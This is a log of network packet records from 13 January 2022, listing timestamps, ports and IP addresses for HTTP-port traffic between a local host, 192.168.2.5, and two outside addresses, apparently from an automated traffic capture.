Jan 13, 2022 20:51:34.758826971 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.758867025 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.758923054 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.758985996 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.759694099 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.759732962 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.759772062 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.759809971 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.759860039 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.759908915 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.760339975 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.760380983 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.760443926 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.760946989 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.760993004 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.761033058 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.761051893 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.761071920 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.761112928 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.761132002 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.761153936 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.761193991 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.761209965 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.810668945 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.810703993 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.810724974 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.810741901 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.810745955 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.810781956 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.810786009 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.811427116 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.811450958 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.811472893 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.811495066 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.811501980 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.811507940 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.811526060 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.811547995 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.811569929 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.811573029 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.811594963 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.811619043 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.811633110 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.811647892 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.811659098 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.811677933 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.811698914 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.811702013 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.811731100 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.811757088 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.813442945 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.813472033 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.813503981 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.813525915 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.813561916 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.813606977 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.813909054 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.813942909 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.814018965 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.814517021 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.814538956 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.814598083 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.814649105 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.814676046 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.815215111 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.815237999 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.815272093 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.816014051 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.816040039 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.816061020 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.816081047 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.816082001 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.816116095 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.816412926 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.816437960 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.816466093 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.868592978 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.868699074 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.868745089 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.868766069 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.868784904 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.868803978 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.868825912 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.868865013 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.868891954 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.869139910 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.869187117 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.869221926 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.869225025 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.869265079 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.869280100 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.870394945 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.870440006 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.870480061 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.870506048 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.870523930 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.870560884 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.870621920 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.870661974 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.870696068 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.870821953 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.870862961 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.870903015 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.884608984 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.884695053 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.884737968 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.884776115 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.884814978 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.884812117 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.884884119 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.884917021 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.884929895 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.884932041 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.884968996 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.885179043 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.885313034 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.885474920 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.885531902 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.885557890 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.885572910 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.885612965 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.885628939 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.885654926 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.885658026 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.885668039 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.885695934 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.885718107 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.885736942 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.885765076 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.885776997 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.885793924 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.885817051 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.885843039 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.885884047 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.885885000 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.885926008 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.885948896 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.885965109 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.885984898 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.886003017 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.886018038 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.886043072 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.886085987 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.886121988 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.886125088 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.886166096 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.886171103 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.886203051 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.886209011 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.886244059 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.886248112 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.886274099 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.886284113 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.886300087 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.886322975 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.886343002 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.886363983 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.886382103 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.886403084 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.886426926 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.886441946 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.886461973 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.886504889 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.886764050 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.923738003 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.923780918 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.923819065 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.923856020 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.923857927 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.923908949 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.923964977 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.924010038 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.924030066 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.924088001 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.924129963 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.924158096 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.924515963 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.924556971 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.924602032 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.925649881 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.925692081 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.925734043 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.925745010 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.925776005 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.925792933 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.931433916 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.931502104 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.931545973 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.931587934 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.931634903 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.931682110 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.958897114 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.958951950 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.958992004 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.959003925 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.959034920 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.959075928 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.959121943 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.959167957 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.959214926 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.959263086 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.959295034 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.959301949 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.959341049 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.959384918 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.959424019 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.959461927 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.959470987 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.959498882 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.959501982 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.959544897 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.959547043 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.959583044 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.959588051 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.959618092 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.959629059 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.959636927 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.959656000 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.959669113 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.959682941 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.959708929 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.959736109 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.959747076 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.959760904 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.959784031 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.959800959 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.959822893 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.959836006 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.959862947 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.959875107 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.959903002 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.959916115 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.959943056 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:34.959956884 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.960078955 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:34.978646040 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.978724003 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.978790998 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.979228020 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.979273081 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.979305029 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.979310989 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.979351997 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.979373932 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.979732990 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.979796886 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.979850054 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.979852915 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.979897022 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.979950905 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.980689049 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.980748892 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.980787039 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.980824947 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.980825901 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.980870962 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.986828089 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.986891031 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.986932993 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.986948967 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.987014055 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.987015963 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:34.987194061 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.987261057 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:34.987288952 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.034182072 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:35.034382105 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.034404993 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.034425974 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.034478903 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.034509897 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.034522057 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.034538984 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.034625053 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.034640074 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.034655094 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.034682035 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.034708023 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.034725904 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.034806967 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.035011053 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:35.036243916 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.036277056 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.036302090 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.036331892 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.036372900 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.036400080 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.042143106 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.042166948 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.042184114 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.042200089 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.042217016 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.042238951 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.042285919 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.042325974 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.091538906 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.091576099 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.091788054 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.092895031 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.092926979 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.092947006 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.092969894 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.093079090 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.093101978 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.093120098 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.093153000 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.093180895 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.093205929 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.093244076 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.093275070 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.093308926 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.093324900 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.093341112 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.093400955 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.093417883 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.097043991 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.097065926 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.097081900 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.097099066 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.097234011 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.097255945 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.097299099 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.097332954 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.097348928 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.097398043 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.109236002 CET	80	49847	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:35.109323025 CET	49847	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:35.151391029 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.151417017 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.151433945 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.151451111 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.151557922 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.151783943 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.152789116 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.152807951 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.152825117 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.152842045 CET	80	49845	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:35.152898073 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.152951002 CET	49845	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:35.156369925 CET	80	49845	45.135.233.182	192.168.2.5
